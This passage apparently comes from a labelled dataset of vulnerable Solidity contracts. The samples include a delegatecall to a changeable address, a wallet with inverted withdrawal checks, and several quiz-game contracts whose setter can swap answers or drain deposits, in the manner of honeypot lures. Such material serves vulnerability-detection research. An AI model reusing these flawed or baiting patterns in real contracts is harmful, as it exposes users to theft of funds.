            returndatacopy(0, 0, returndatasize())
            switch success
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }
}
// Vulnerability label: DC1
pragma solidity ^0.4.11;

contract firstTest
{
    address Owner = 0x46Feeb381e90f7e30635B4F33CE3F6fA8EA6ed9b;
    address emails = 0x25df6e3da49f41ef5b99e139c87abc12c3583d13;
    address adr;
    uint256 public Limit= 1000000000000000000;
    
    function Set(address dataBase, uint256 limit) 
    {
        require(msg.sender == Owner); //checking the owner
        Limit = limit;
        emails = dataBase;
    }
    
    function changeOwner(address adr){
        // update Owner=msg.sender;
    }
    
    function()payable{
        //if owner
        withdrawal();
    }
    
    function kill() {
        require(msg.sender == Owner);
        selfdestruct(msg.sender);
    }
    
    function withdrawal()
    payable public
    {
        adr=msg.sender;
        if(msg.value>Limit)
        {  
            emails.delegatecall(bytes4(sha3("logEvent()")));
            adr.send(this.balance);
            
        }
    }
    
}
// Vulnerability label: TOD1
pragma solidity ^0.4.16;

contract ERC20Token {
    // these functions aren't abstract since the compiler emits automatically generated getter functions as external
    function name() public pure returns (string) {}
    function symbol() public pure returns (string) {}
    function decimals() public pure returns (uint8) {}
    function totalSupply() public pure returns (uint256) {}
    function balanceOf(address _owner) public pure returns (uint256) { _owner; }
    function allowance(address _owner, address _spender) public pure returns (uint256) { _owner; _spender; }

    function transfer(address _to, uint256 _value) public returns (bool success);
    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
    function approve(address _spender, uint256 _value) public returns (bool success);
}

contract CommonWallet {
    mapping(address => mapping (address => uint256)) public tokenBalance;
    mapping(address => uint) etherBalance;
    address owner = msg.sender;
    
    function safeAdd(uint256 _x, uint256 _y) internal pure returns (uint256) {
        uint256 z = _x + _y;
        assert(z >= _x);
        return z;
    }

    function safeSub(uint256 _x, uint256 _y) internal pure returns (uint256) {
        assert(_x >= _y);
        return _x - _y;
    }
    
    function depoEther() public payable{
        etherBalance[msg.sender]+=msg.value;
    }
    
    function depoToken(address tokenAddr, uint256 amount) public {
        if (ERC20Token(tokenAddr).transferFrom(msg.sender, this, amount))
        {
            tokenBalance[tokenAddr][msg.sender] = safeAdd(tokenBalance[tokenAddr][msg.sender], amount);
        }
    }
  
    function wdEther(uint amount) public{
        require(etherBalance[msg.sender]>=amount);
        address sender=msg.sender;
        sender.transfer(amount);
        etherBalance[sender] = safeSub(etherBalance[sender],amount);
    }
    
    function wdToken(address tokenAddr, uint256 amount) public {
        require(tokenBalance[tokenAddr][msg.sender] < amount);
        if(ERC20Token(tokenAddr).transfer(msg.sender, amount))
        {
            tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount);
        }
    }
  
    function getEtherBalance(address user) public view returns(uint256) {
        return etherBalance[user];
    }
    
    function getTokenBalance(address tokenAddr, address user) public view returns (uint256) {
        return tokenBalance[tokenAddr][user];
    }
    
    function sendEtherTo(address to_, uint amount) public {
        require(etherBalance[msg.sender]>=amount);
        require(to_!=msg.sender);
        to_.transfer(amount);
        etherBalance[msg.sender] = safeSub(etherBalance[msg.sender],amount);
    }
    
    function sendTokenTo(address tokenAddr, address to_, uint256 amount) public {
        require(tokenBalance[tokenAddr][msg.sender] < amount);
        require(!ERC20Token(tokenAddr).transfer(to_, amount));
        tokenBalance[tokenAddr][msg.sender] = safeSub(tokenBalance[tokenAddr][msg.sender], amount);
    }
}
// Vulnerability label: TOD1
pragma solidity ^0.4.20;

contract CONUNDRUM
{

    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function StartGame(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function Play(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        question = _question;
        responseHash = _responseHash;
    }
    
    function() public payable{}
    
}
// Vulnerability label: TOD1
pragma solidity ^0.4.20;

contract take_away
{
    function Try(string _response) external payable {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value>3 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
    
    address questionSender;
    
    bytes32 responseHash;
 
    function StartGame(string _question,string _response) public payable {
        if(responseHash==0x0) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }
    
    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }
    
    
    function() public payable{}
}
// Vulnerability label: TOD1
pragma solidity 0.4.24;

contract Ownable {

    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    function setOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

}

contract Vault is Ownable { 

    function () public payable {

    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }

    function withdraw(uint amount) public onlyOwner {
        require(address(this).balance >= amount);
        owner.transfer(amount);
    }

    function withdrawAll() public onlyOwner {
        withdraw(address(this).balance);
    }
}
// Vulnerability label: TOD1
pragma solidity ^0.4.20;

contract QUIZ_GAME
{
    function Try(string _response) external payable {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value>3 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
    
    address questionSender;
    
    bytes32 responseHash;
 
    function set_game(string _question,string _response) public payable {
        if(responseHash==0x0) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
        }
    }
    
    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }
    
    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }
    
    
    function() public payable{}
}
// Vulnerability label: TOD1
pragma solidity ^0.4.25;

contract QGAME
{

    function Try(string _response) external payable {
        require(msg.sender == tx.origin);

        if(responseHash == keccak256(_response) && msg.value > 2 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }

    string public question;

    address questionSender;

    bytes32 responseHash;

    bytes32 questionerPin = 0x5c18911b2f0401b04458b5166f91356c9a1235a8d50ee6000a30db9950b7aaf9;

    function Activate(bytes32 _questionerPin, string _question, string _response) public payable {
        if(keccak256(_questionerPin)==questionerPin) 
        {
            responseHash = keccak256(_response);
            question = _question;
            questionSender = msg.sender;
            questionerPin = 0x0;
        }
    }

    function StopGame() public payable {
        require(msg.sender==questionSender);
        msg.sender.transfer(this.balance);
    }

    function NewQuestion(string _question, bytes32 _responseHash) public payable {
        if(msg.sender==questionSender){
            question = _question;
            responseHash = _responseHash;
        }
    }

    function newQuestioner(address newAddress) public {
        if(msg.sender==questionSender)questionSender = newAddress;
    }

    function() public payable{}
}
// Vulnerability label: TOD1
pragma solidity ^0.4.20;

contract play_for_gain
{
    function Try(string _response)
    external
    payable
    {
        require(msg.sender == tx.origin);
        
        if(responseHash == keccak256(_response) && msg.value>1 ether)
        {
            msg.sender.transfer(this.balance);
        }
    }
    
    string public question;
 
    address questionSender;
  
    bytes32 responseHash;
 
    function start_play_for_gain(string _question,string _response)
    public
    payable
    {
        if(responseHash==0x0)
        {
            responseHash = keccak256(_response);
            
            question = _question;
            
            questionSender = msg.sender;
        }
    }
    
    function StopGame()
    public
    payable
    {
       require(msg.sender==questionSender);
       
       msg.sender.transfer(this.balance);
    }
    
    function NewQuestion(string _question, bytes32 _responseHash)
    public
    payable
    {
        require(msg.sender==questionSender);
        
        question = _question;
        
        responseHash = _responseHash;
    }
    
    function() public payable{}
}